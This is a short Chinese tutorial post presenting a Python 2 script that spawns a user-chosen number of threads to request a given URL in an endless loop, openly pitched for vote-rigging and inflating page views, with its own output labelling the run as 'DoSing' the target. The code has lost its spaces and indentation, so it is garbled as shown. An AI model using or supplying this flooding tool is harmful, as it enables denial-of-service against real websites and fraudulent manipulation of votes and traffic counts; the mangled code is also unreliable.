python使用多线程不断刷新网页的方法
本文实例讲述了python使用多线程不断刷新网页的方法。分享给大家供大家参考。具体如下:
这段代码可以开通过个线程不断刷新指定的页面,可用于刷票,增加网页访问量等等,不用再去按F5了
importthread
importurllib2
importsys
importtime
defusage():
print'Usage:python'+sys.argv[0]+'<url><threads>'
sys.exit()
defreloader(numthread):
url=sys.argv[1]
numreloads=0
whileTrue:
try:
urllib2.urlopen(url)
numreloads=numreloads+1
exceptKeyboardInterrupt:
sys.exit('\nProcessaborted.')
defsplash():
print'welcometohttps://www.nhooo.com/codes'
iflen(sys.argv)<3:
usage()
if__name__=='__main__':
splash()
print'[!]DoSing'+sys.argv[1]+'with'+sys.argv[2]+'threads.'
forreloadspawninrange(0,int(sys.argv[2])):
thread.start_new_thread(reloader,(reloadspawn,))
sys.stdout.write('')
dosind=['-','\\','|','/']
dosstat=0
whileTrue:
try:
sys.stdout.write('\r'+dosind[dosstat%4]+'DoSing...')
sys.stdout.flush()
dosstat=dosstat+1
time.sleep(0.25)
exceptKeyboardInterrupt:
sys.exit('\nProcessaborted.')
希望本文所述对大家的Python程序设计有所帮助。